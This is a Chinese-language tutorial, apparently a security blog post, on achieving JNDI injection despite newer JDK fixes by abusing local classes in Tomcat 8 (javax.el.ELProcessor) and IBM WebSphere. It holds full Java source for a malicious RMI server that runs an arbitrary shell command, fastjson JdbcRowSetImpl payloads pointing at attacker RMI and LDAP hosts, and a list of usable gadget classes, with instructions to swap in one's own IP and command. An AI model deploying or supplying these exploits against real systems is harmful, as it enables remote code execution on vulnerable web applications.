前言
一般情況下,我們在進行JNDI注入時會參考JDK的版本限制,具體的修復可以參考下圖
JDK對于JNDI注入的修復
但如果JDK大于圖中版本時,就不能進行JNDI注入了嗎?答案不是的
觸發情況
- 1.JDK >上圖版本
- 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI
Payload
1.惡意RMI服務器
使用如下代碼搭建惡意的RMI服務器
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
String vpsip = "your vpsip" ;
System.out.println("Creating evil RMI registry on port 1097");
System.setProperty("java.rmi.server.hostname",vpsip);
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("ExportObject", referenceWrapper);
}
}
你只需要修改vpsip為你的ip,且修改command為你要執行的命令即可
隨后在webapp調用rmi服務即可,例如fastjson(利用tomcat的本地類)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsip:1097/ExportObject",
"autoCommit":true
}
}
Exploit示例
執行firefox舉例
2.惡意LDAP服務器
本來準備自己寫一個的,在逛github時偶然發現了一個輪子
Rogue JNDI
使用它可以搭建基于LDAP惡意服務器合集
LDAP惡意服務器合集
我們還是以fastjson
為攻擊目標舉例,這回我們把JDK換成JDK8U211
tomcat
我們構造好payload進行攻擊(利用tomcat的本地類)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vpsip:1389/o=tomcat",
"autoCommit":true
}
}
可見已經彈出Firefox,攻擊成功
彈出Firefox
攻擊成功
關于tomcat
由于tomcat7并不含有javax.el.E??LProcessor
類,而tomcat8含有
javax.el.E??LProcessor
由此得知tomcat7無法觸發.
已知可利用的本地類
Tomcat ----> javax.el.ELProcessor
IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory
|| com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
利用上面的已知類你可以自定義想要的RMI惡意服務器
Reference
Exploiting JNDI Injections in Java:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
rogue-jndi:
https://github.com/veracode-research/rogue-jndi